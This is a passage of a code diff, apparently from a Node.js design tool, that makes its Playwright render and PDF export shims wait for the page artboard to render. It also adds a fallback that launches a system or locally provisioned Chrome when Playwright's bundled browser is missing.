+ // Run only when invoked directly (not when imported by the test). This shim runs
552
+ // under real `node` on a real on-disk path (never embedded in bun --compile), so
553
+ // the classic argv[1] guard is correct here — see the v0.38.0 self-heal memory.
554
+ if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
555
+ main();
556
+ }
@@ -45,7 +45,15 @@ const browser = await launchChromium();
45
45
  try {
46
46
  const ctx = await browser.newContext({ viewport: { width: 1440, height: 900 } });
47
47
  const page = await ctx.newPage();
48
- await page.goto(url, { waitUntil: 'networkidle', timeout: timeoutMs });
48
+ await page.goto(url, { waitUntil: 'load', timeout: timeoutMs });
49
+ await page.evaluate(() => document.fonts.ready);
50
+ // `load` fires before React mounts (and a video comp never reaches
51
+ // `networkidle`), so gate on the artboard rendering before we query it —
52
+ // otherwise a multi `.all()` can run against an empty page.
53
+ await page
54
+ .locator(selector ?? '[data-dc-screen]')
55
+ .first()
56
+ .waitFor({ state: 'visible', timeout: timeoutMs });
49
57
  // Reset the world plane's CSS zoom + transform so the captured artboard
50
58
  // outerHTML carries 1440×900 dimensions instead of the pan-zoomed thumb.
51
59
  await page.evaluate(() => {
@@ -43,13 +43,20 @@ const browser = await launchChromium();
43
43
  try {
44
44
  const ctx = await browser.newContext({ viewport: { width: 1440, height: 900 } });
45
45
  const page = await ctx.newPage();
46
- await page.goto(url, { waitUntil: 'networkidle', timeout: timeoutMs });
46
+ await page.goto(url, { waitUntil: 'load', timeout: timeoutMs });
47
47
  // Wait for web fonts so `@font-face` glyphs land in the PDF instead of
48
48
  // fallback Latin (puppeteer #3183 / playwright equivalent).
49
49
  await page.evaluate(() => document.fonts.ready);
50
50
  // Print-media emulation — Chromium's PDF output otherwise applies *screen*
51
51
  // CSS and ignores `@media print` rules entirely.
52
52
  await page.emulateMedia({ media: 'print' });
53
+ // `load` fires before React mounts (and a video comp never reaches
54
+ // `networkidle`), so gate on the artboard rendering before we query it —
55
+ // otherwise a multi `.all()` can run against an empty page.
56
+ await page
57
+ .locator(selector ?? '[data-dc-screen]')
58
+ .first()
59
+ .waitFor({ state: 'visible', timeout: timeoutMs });
53
60
 
54
61
  const written = [];
55
62
  const screens = multi
@@ -46,8 +46,15 @@ try {
46
46
  deviceScaleFactor,
47
47
  });
48
48
  const page = await ctx.newPage();
49
- await page.goto(url, { waitUntil: 'networkidle', timeout: timeoutMs });
49
+ await page.goto(url, { waitUntil: 'load', timeout: timeoutMs });
50
50
  await page.evaluate(() => document.fonts.ready);
51
+ // `load` fires before React mounts (and a video comp never reaches
52
+ // `networkidle`), so gate on the artboard element actually rendering before we
53
+ // query/capture — otherwise a multi `.all()` can run against an empty page.
54
+ await page
55
+ .locator(selector ?? '[data-dc-screen]')
56
+ .first()
57
+ .waitFor({ state: 'visible', timeout: timeoutMs });
51
58
 
52
59
  const written = [];
53
60
 
@@ -14,6 +14,10 @@
14
14
  //
15
15
  // See `.ai/logs/rca/issue-nefunguji-exporty.md`.
16
16
 
17
+ import { execFileSync } from 'node:child_process';
18
+ import { existsSync } from 'node:fs';
19
+ import { dirname, join } from 'node:path';
20
+ import { fileURLToPath } from 'node:url';
17
21
  import { chromium } from 'playwright';
18
22
 
19
23
  /** Exit code the shims surface for "Chromium browser binary not installed". */
@@ -23,6 +27,43 @@ export const NO_BROWSER_EXIT = 3;
23
27
  export const INSTALL_HINT =
24
28
  "Playwright's Chromium browser isn't installed. Run: npx playwright install chromium";
25
29
 
30
+ /**
31
+ * Resolve a Chrome-family executable to fall back on when Playwright's OWN
32
+ * bundled browser is absent — the packaged desktop case (RCA
33
+ * issue-desktop-export-failures): the app ships the `playwright` JS closure but
34
+ * NOT its ~150 MB browser, so `chromium.launch()` with no `executablePath` finds
35
+ * nothing. Priority: explicit env override → the shared `_ensure-browser.mjs`
36
+ * resolver (the same Chrome / provisioned chrome-headless-shell the screenshot
37
+ * path uses; `--no-download` so an export never silently triggers a 94 MB
38
+ * fetch). Returns `undefined` when nothing is found — the caller then surfaces
39
+ * the install hint. Reachable at runtime because the shim runs under real `node`
40
+ * (its `import.meta.url` is a genuine disk path, unlike the compiled server).
41
+ */
42
+ function resolveBrowserExecutable() {
43
+ for (const env of [
44
+ process.env.MAUDE_BROWSER_EXECUTABLE,
45
+ process.env.PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH,
46
+ process.env.AGENT_BROWSER_EXECUTABLE_PATH,
47
+ ]) {
48
+ if (env && existsSync(env)) return env;
49
+ }
50
+ try {
51
+ const ensure = join(dirname(fileURLToPath(import.meta.url)), '_ensure-browser.mjs');
52
+ if (!existsSync(ensure)) return undefined;
53
+ const out = execFileSync(process.execPath, [ensure, '--no-download', '--quiet'], {
54
+ encoding: 'utf8',
55
+ });
56
+ const path = out
57
+ .split('\n')
58
+ .map((s) => s.trim())
59
+ .filter(Boolean)
60
+ .pop();
61
+ return path && existsSync(path) ? path : undefined;
62
+ } catch {
63
+ return undefined;
64
+ }
65
+ }
66
+
26
67
  /**
27
68
  * True when a `chromium.launch()` rejection is the "browser binary not
28
69
  * downloaded" case (as opposed to a sandbox / port / crash failure). Pure +
@@ -51,6 +92,19 @@ export async function launchChromium(opts) {
51
92
  } catch (err) {
52
93
  const msg = err instanceof Error ? err.message : String(err);
53
94
  if (isMissingBrowserError(msg)) {
95
+ // Playwright's own browser isn't present (packaged desktop app, or a fresh
96
+ // machine that never ran `playwright install`). Retry once against a
97
+ // resolved Chrome-family engine — system Chrome / a provisioned
98
+ // chrome-headless-shell — before giving up. This is what makes render
99
+ // export work in the bundled app, where only the playwright JS ships.
100
+ const executablePath = resolveBrowserExecutable();
101
+ if (executablePath) {
102
+ try {
103
+ return await chromium.launch({ ...opts, executablePath });
104
+ } catch {
105
+ /* fall through to the install hint */
106
+ }
107
+ }
54
108
  // Single clean line — the export endpoint pipes shim stderr into the 500
55
109
  // body, so this is what the user reads. No stack trace.
56
110
  console.error(INSTALL_HINT);